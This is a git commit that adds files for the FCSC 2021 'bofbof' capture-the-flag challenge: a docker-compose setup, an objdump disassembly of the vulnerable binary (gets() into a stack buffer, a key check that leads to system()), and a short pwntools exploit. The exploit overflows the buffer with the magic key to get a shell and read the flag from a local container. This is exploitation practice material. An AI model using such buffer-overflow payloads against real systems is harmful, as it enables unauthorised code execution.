added all ctfs
This commit is contained in:
BIN
hackerpole/pwn/bofbof/bofbof
Executable file
BIN
hackerpole/pwn/bofbof/bofbof
Executable file
Binary file not shown.
6
hackerpole/pwn/bofbof/docker-compose.yml
Normal file
6
hackerpole/pwn/bofbof/docker-compose.yml
Normal file
@@ -0,0 +1,6 @@
|
||||
version: '3.9'
|
||||
services:
|
||||
bofbof:
|
||||
image: anssi/fcsc2021-pwn-bofbof:latest
|
||||
ports:
|
||||
- "4000:4000"
|
||||
216
hackerpole/pwn/bofbof/dump.txt
Normal file
216
hackerpole/pwn/bofbof/dump.txt
Normal file
@@ -0,0 +1,216 @@
|
||||
|
||||
bofbof: file format elf64-x86-64
|
||||
|
||||
|
||||
Disassembly of section .init:
|
||||
|
||||
0000000000001000 <_init>:
|
||||
1000: 48 83 ec 08 sub rsp,0x8
|
||||
1004: 48 8b 05 dd 2f 00 00 mov rax,QWORD PTR [rip+0x2fdd] # 3fe8 <__gmon_start__>
|
||||
100b: 48 85 c0 test rax,rax
|
||||
100e: 74 02 je 1012 <_init+0x12>
|
||||
1010: ff d0 call rax
|
||||
1012: 48 83 c4 08 add rsp,0x8
|
||||
1016: c3 ret
|
||||
|
||||
Disassembly of section .plt:
|
||||
|
||||
0000000000001020 <.plt>:
|
||||
1020: ff 35 e2 2f 00 00 push QWORD PTR [rip+0x2fe2] # 4008 <_GLOBAL_OFFSET_TABLE_+0x8>
|
||||
1026: ff 25 e4 2f 00 00 jmp QWORD PTR [rip+0x2fe4] # 4010 <_GLOBAL_OFFSET_TABLE_+0x10>
|
||||
102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000001030 <puts@plt>:
|
||||
1030: ff 25 e2 2f 00 00 jmp QWORD PTR [rip+0x2fe2] # 4018 <puts@GLIBC_2.2.5>
|
||||
1036: 68 00 00 00 00 push 0x0
|
||||
103b: e9 e0 ff ff ff jmp 1020 <.plt>
|
||||
|
||||
0000000000001040 <system@plt>:
|
||||
1040: ff 25 da 2f 00 00 jmp QWORD PTR [rip+0x2fda] # 4020 <system@GLIBC_2.2.5>
|
||||
1046: 68 01 00 00 00 push 0x1
|
||||
104b: e9 d0 ff ff ff jmp 1020 <.plt>
|
||||
|
||||
0000000000001050 <printf@plt>:
|
||||
1050: ff 25 d2 2f 00 00 jmp QWORD PTR [rip+0x2fd2] # 4028 <printf@GLIBC_2.2.5>
|
||||
1056: 68 02 00 00 00 push 0x2
|
||||
105b: e9 c0 ff ff ff jmp 1020 <.plt>
|
||||
|
||||
0000000000001060 <gets@plt>:
|
||||
1060: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 4030 <gets@GLIBC_2.2.5>
|
||||
1066: 68 03 00 00 00 push 0x3
|
||||
106b: e9 b0 ff ff ff jmp 1020 <.plt>
|
||||
|
||||
0000000000001070 <fflush@plt>:
|
||||
1070: ff 25 c2 2f 00 00 jmp QWORD PTR [rip+0x2fc2] # 4038 <fflush@GLIBC_2.2.5>
|
||||
1076: 68 04 00 00 00 push 0x4
|
||||
107b: e9 a0 ff ff ff jmp 1020 <.plt>
|
||||
|
||||
0000000000001080 <exit@plt>:
|
||||
1080: ff 25 ba 2f 00 00 jmp QWORD PTR [rip+0x2fba] # 4040 <exit@GLIBC_2.2.5>
|
||||
1086: 68 05 00 00 00 push 0x5
|
||||
108b: e9 90 ff ff ff jmp 1020 <.plt>
|
||||
|
||||
Disassembly of section .plt.got:
|
||||
|
||||
0000000000001090 <__cxa_finalize@plt>:
|
||||
1090: ff 25 62 2f 00 00 jmp QWORD PTR [rip+0x2f62] # 3ff8 <__cxa_finalize@GLIBC_2.2.5>
|
||||
1096: 66 90 xchg ax,ax
|
||||
|
||||
Disassembly of section .text:
|
||||
|
||||
00000000000010a0 <_start>:
|
||||
10a0: 31 ed xor ebp,ebp
|
||||
10a2: 49 89 d1 mov r9,rdx
|
||||
10a5: 5e pop rsi
|
||||
10a6: 48 89 e2 mov rdx,rsp
|
||||
10a9: 48 83 e4 f0 and rsp,0xfffffffffffffff0
|
||||
10ad: 50 push rax
|
||||
10ae: 54 push rsp
|
||||
10af: 4c 8d 05 da 01 00 00 lea r8,[rip+0x1da] # 1290 <__libc_csu_fini>
|
||||
10b6: 48 8d 0d 73 01 00 00 lea rcx,[rip+0x173] # 1230 <__libc_csu_init>
|
||||
10bd: 48 8d 3d db 00 00 00 lea rdi,[rip+0xdb] # 119f <main>
|
||||
10c4: ff 15 16 2f 00 00 call QWORD PTR [rip+0x2f16] # 3fe0 <__libc_start_main@GLIBC_2.2.5>
|
||||
10ca: f4 hlt
|
||||
10cb: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
|
||||
|
||||
00000000000010d0 <deregister_tm_clones>:
|
||||
10d0: 48 8d 3d 81 2f 00 00 lea rdi,[rip+0x2f81] # 4058 <stdout@GLIBC_2.2.5>
|
||||
10d7: 48 8d 05 7a 2f 00 00 lea rax,[rip+0x2f7a] # 4058 <stdout@GLIBC_2.2.5>
|
||||
10de: 48 39 f8 cmp rax,rdi
|
||||
10e1: 74 15 je 10f8 <deregister_tm_clones+0x28>
|
||||
10e3: 48 8b 05 ee 2e 00 00 mov rax,QWORD PTR [rip+0x2eee] # 3fd8 <_ITM_deregisterTMCloneTable>
|
||||
10ea: 48 85 c0 test rax,rax
|
||||
10ed: 74 09 je 10f8 <deregister_tm_clones+0x28>
|
||||
10ef: ff e0 jmp rax
|
||||
10f1: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
|
||||
10f8: c3 ret
|
||||
10f9: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000001100 <register_tm_clones>:
|
||||
1100: 48 8d 3d 51 2f 00 00 lea rdi,[rip+0x2f51] # 4058 <stdout@GLIBC_2.2.5>
|
||||
1107: 48 8d 35 4a 2f 00 00 lea rsi,[rip+0x2f4a] # 4058 <stdout@GLIBC_2.2.5>
|
||||
110e: 48 29 fe sub rsi,rdi
|
||||
1111: 48 89 f0 mov rax,rsi
|
||||
1114: 48 c1 ee 3f shr rsi,0x3f
|
||||
1118: 48 c1 f8 03 sar rax,0x3
|
||||
111c: 48 01 c6 add rsi,rax
|
||||
111f: 48 d1 fe sar rsi,1
|
||||
1122: 74 14 je 1138 <register_tm_clones+0x38>
|
||||
1124: 48 8b 05 c5 2e 00 00 mov rax,QWORD PTR [rip+0x2ec5] # 3ff0 <_ITM_registerTMCloneTable>
|
||||
112b: 48 85 c0 test rax,rax
|
||||
112e: 74 08 je 1138 <register_tm_clones+0x38>
|
||||
1130: ff e0 jmp rax
|
||||
1132: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
|
||||
1138: c3 ret
|
||||
1139: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000001140 <__do_global_dtors_aux>:
|
||||
1140: 80 3d 19 2f 00 00 00 cmp BYTE PTR [rip+0x2f19],0x0 # 4060 <completed.0>
|
||||
1147: 75 2f jne 1178 <__do_global_dtors_aux+0x38>
|
||||
1149: 55 push rbp
|
||||
114a: 48 83 3d a6 2e 00 00 cmp QWORD PTR [rip+0x2ea6],0x0 # 3ff8 <__cxa_finalize@GLIBC_2.2.5>
|
||||
1151: 00
|
||||
1152: 48 89 e5 mov rbp,rsp
|
||||
1155: 74 0c je 1163 <__do_global_dtors_aux+0x23>
|
||||
1157: 48 8b 3d f2 2e 00 00 mov rdi,QWORD PTR [rip+0x2ef2] # 4050 <__dso_handle>
|
||||
115e: e8 2d ff ff ff call 1090 <__cxa_finalize@plt>
|
||||
1163: e8 68 ff ff ff call 10d0 <deregister_tm_clones>
|
||||
1168: c6 05 f1 2e 00 00 01 mov BYTE PTR [rip+0x2ef1],0x1 # 4060 <completed.0>
|
||||
116f: 5d pop rbp
|
||||
1170: c3 ret
|
||||
1171: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
|
||||
1178: c3 ret
|
||||
1179: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000001180 <frame_dummy>:
|
||||
1180: e9 7b ff ff ff jmp 1100 <register_tm_clones>
|
||||
|
||||
0000000000001185 <vuln>:
|
||||
1185: 55 push rbp
|
||||
1186: 48 89 e5 mov rbp,rsp
|
||||
1189: 48 8d 3d 78 0e 00 00 lea rdi,[rip+0xe78] # 2008 <_IO_stdin_used+0x8>
|
||||
1190: e8 ab fe ff ff call 1040 <system@plt>
|
||||
1195: bf 01 00 00 00 mov edi,0x1
|
||||
119a: e8 e1 fe ff ff call 1080 <exit@plt>
|
||||
|
||||
000000000000119f <main>:
|
||||
119f: 55 push rbp
|
||||
11a0: 48 89 e5 mov rbp,rsp
|
||||
11a3: 48 83 ec 30 sub rsp,0x30
|
||||
11a7: 48 b8 41 41 41 41 41 movabs rax,0x4141414141414141
|
||||
11ae: 41 41 41
|
||||
11b1: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
|
||||
11b5: 48 8d 3d 54 0e 00 00 lea rdi,[rip+0xe54] # 2010 <_IO_stdin_used+0x10>
|
||||
11bc: b8 00 00 00 00 mov eax,0x0
|
||||
11c1: e8 8a fe ff ff call 1050 <printf@plt>
|
||||
11c6: 48 8b 05 8b 2e 00 00 mov rax,QWORD PTR [rip+0x2e8b] # 4058 <stdout@GLIBC_2.2.5>
|
||||
11cd: 48 89 c7 mov rdi,rax
|
||||
11d0: e8 9b fe ff ff call 1070 <fflush@plt>
|
||||
11d5: 48 8d 45 d0 lea rax,[rbp-0x30]
|
||||
11d9: 48 89 c7 mov rdi,rax
|
||||
11dc: b8 00 00 00 00 mov eax,0x0
|
||||
11e1: e8 7a fe ff ff call 1060 <gets@plt>
|
||||
11e6: 48 b8 41 41 41 41 41 movabs rax,0x4141414141414141
|
||||
11ed: 41 41 41
|
||||
11f0: 48 39 45 f8 cmp QWORD PTR [rbp-0x8],rax
|
||||
11f4: 74 26 je 121c <main+0x7d>
|
||||
11f6: 48 b8 88 77 66 55 44 movabs rax,0x1122334455667788
|
||||
11fd: 33 22 11
|
||||
1200: 48 39 45 f8 cmp QWORD PTR [rbp-0x8],rax
|
||||
1204: 75 0a jne 1210 <main+0x71>
|
||||
1206: b8 00 00 00 00 mov eax,0x0
|
||||
120b: e8 75 ff ff ff call 1185 <vuln>
|
||||
1210: 48 8d 3d 1d 0e 00 00 lea rdi,[rip+0xe1d] # 2034 <_IO_stdin_used+0x34>
|
||||
1217: e8 14 fe ff ff call 1030 <puts@plt>
|
||||
121c: b8 00 00 00 00 mov eax,0x0
|
||||
1221: c9 leave
|
||||
1222: c3 ret
|
||||
1223: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
122a: 00 00 00
|
||||
122d: 0f 1f 00 nop DWORD PTR [rax]
|
||||
|
||||
0000000000001230 <__libc_csu_init>:
|
||||
1230: 41 57 push r15
|
||||
1232: 4c 8d 3d af 2b 00 00 lea r15,[rip+0x2baf] # 3de8 <__frame_dummy_init_array_entry>
|
||||
1239: 41 56 push r14
|
||||
123b: 49 89 d6 mov r14,rdx
|
||||
123e: 41 55 push r13
|
||||
1240: 49 89 f5 mov r13,rsi
|
||||
1243: 41 54 push r12
|
||||
1245: 41 89 fc mov r12d,edi
|
||||
1248: 55 push rbp
|
||||
1249: 48 8d 2d a0 2b 00 00 lea rbp,[rip+0x2ba0] # 3df0 <__do_global_dtors_aux_fini_array_entry>
|
||||
1250: 53 push rbx
|
||||
1251: 4c 29 fd sub rbp,r15
|
||||
1254: 48 83 ec 08 sub rsp,0x8
|
||||
1258: e8 a3 fd ff ff call 1000 <_init>
|
||||
125d: 48 c1 fd 03 sar rbp,0x3
|
||||
1261: 74 1b je 127e <__libc_csu_init+0x4e>
|
||||
1263: 31 db xor ebx,ebx
|
||||
1265: 0f 1f 00 nop DWORD PTR [rax]
|
||||
1268: 4c 89 f2 mov rdx,r14
|
||||
126b: 4c 89 ee mov rsi,r13
|
||||
126e: 44 89 e7 mov edi,r12d
|
||||
1271: 41 ff 14 df call QWORD PTR [r15+rbx*8]
|
||||
1275: 48 83 c3 01 add rbx,0x1
|
||||
1279: 48 39 dd cmp rbp,rbx
|
||||
127c: 75 ea jne 1268 <__libc_csu_init+0x38>
|
||||
127e: 48 83 c4 08 add rsp,0x8
|
||||
1282: 5b pop rbx
|
||||
1283: 5d pop rbp
|
||||
1284: 41 5c pop r12
|
||||
1286: 41 5d pop r13
|
||||
1288: 41 5e pop r14
|
||||
128a: 41 5f pop r15
|
||||
128c: c3 ret
|
||||
128d: 0f 1f 00 nop DWORD PTR [rax]
|
||||
|
||||
0000000000001290 <__libc_csu_fini>:
|
||||
1290: c3 ret
|
||||
|
||||
Disassembly of section .fini:
|
||||
|
||||
0000000000001294 <_fini>:
|
||||
1294: 48 83 ec 08 sub rsp,0x8
|
||||
1298: 48 83 c4 08 add rsp,0x8
|
||||
129c: c3 ret
|
||||
11
hackerpole/pwn/bofbof/exploit.py
Normal file
11
hackerpole/pwn/bofbof/exploit.py
Normal file
@@ -0,0 +1,11 @@
|
||||
from pwn import remote, log, p64, time
|
||||
|
||||
with remote("localhost", 4000, fam="ipv4") as p:
|
||||
key = 0x1122334455667788
|
||||
payload = b"\x00" * 0x28 + p64(key)
|
||||
log.info(f"Sending payload {payload} | len: {hex(len(payload))}")
|
||||
p.sendline(payload)
|
||||
# wait for system to spawn a shell
|
||||
time.sleep(0.1)
|
||||
p.sendline(b"cat flag.txt")
|
||||
log.info(p.recvregex(b"FCSC\{[0-9a-fA-F]{64}\}"))
|
||||
Reference in New Issue
Block a user